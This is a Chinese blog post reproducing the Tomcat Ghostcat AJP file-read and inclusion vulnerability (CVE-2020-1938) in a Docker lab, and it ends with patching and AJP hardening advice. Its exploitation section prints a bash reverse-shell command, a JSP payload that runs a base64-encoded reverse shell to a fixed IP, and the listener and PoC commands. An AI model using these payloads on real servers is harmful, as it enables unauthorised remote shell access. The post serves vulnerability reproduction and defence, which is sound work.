title: Tomcat幽灵猫漏洞复现
author: 夜莺
categories:


Tomcat-CVE-2020-1938复现

[TOC]

漏洞概述

Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全局管理和Tomcat阀等。由于Tomcat本身也内含了HTTP服务器,因此也可以视作单独的Web服务器。 攻击者通过Ajp协议端口利用该漏洞进行文件读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。

漏洞影响版本

  1. Tomcat 6.*
  2. Tomcat 7.* < 7.0.100
  3. Tomcat 8.* < 8.5.51
  4. Tomcat 9.* < 9.0.31

复现环境

本次漏洞复现采用Docker
Tomcat版本8.5.32

  1. 下载镜像

    1. docker search tomcat-8.5.32
    2. docker pull duonghuuphuc/tomcat-8.5.32

    Tomcat幽灵猫漏洞复现 - 图1

  2. 启动镜像
    ``
    Tomcat幽灵猫漏洞复现 - 图2

    1. docker images
    2. docker run -d -p 8080:8080 -p 8009:8009 --name ghostcat duonghuuphuc/tomcat-8.5.32
    3. docker port ghostcat

    漏洞利用

    相关漏洞利用脚本

    1. https://github.com/xindongzhuaizhuai/CVE-2020-1938
    2. https://github.com/nibiwodong/CNVD-2020-10487-Tomcat-ajp-POC

    文件读取
    Tomcat幽灵猫漏洞复现 - 图3
    文件包含RCE
    利用文件包含漏洞实现RCE,攻击需要满足一定的条件,即需要将payload文件上传到tomcat目录下,然后利用文件包含激活payload。这里以反弹shell为例

    1. bash -i >& /dev/tcp/反弹ip/反弹端口 0>&1

    为了能正常执行需要对命令进行编码并组装成bash,推荐在线bash payload生成。
    bash payload
    最终的payload文件test.txt如下:

    1. <%
    2. java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuMjkuMTg2Ljg5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
    3. int a = -1;
    4. byte[] b = new byte[2048];
    5. out.print("
    6. <pre>");
    7. while((a=in.read(b))!=-1){
    8. out.println(new String(b));
    9. }
    10. out.print("</pre>");
    11. %>

    开启监听
    使用脚本

    1. nc -lvvp 8888
    2. python poc.py -p 8009 -f test.txt 目标ip

    Tomcat幽灵猫漏洞复现 - 图4
    Tomcat幽灵猫漏洞复现 - 图5

    加固修复

  3. Apache官方已发布9.0.31、8.5.51及7.0.100版本针对此漏洞进行修复,Apache Tomcat 6 已经停止维护,请升级到最新受支持的 Tomcat 版本以免遭受漏洞影响:

    1. https://tomcat.apache.org/download-70.cgi
    2. https://tomcat.apache.org/download-80.cgi
    3. https://tomcat.apache.org/download-90.cgi
  4. 使用AJP协议的临时处置方法:为AJP Connector配置secret来设置 AJP 协议的认证凭证,且注意口令强度

  5. 未使用AJP协议的临时处置方法:禁用AJP协议端口,在conf/server.xml配置文件中注释,并重启Tomcat服务

    参考链接

    1. https://mp.weixin.qq.com/s/8Wueh4lkKBtfNisjxOSoWA
    2. https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi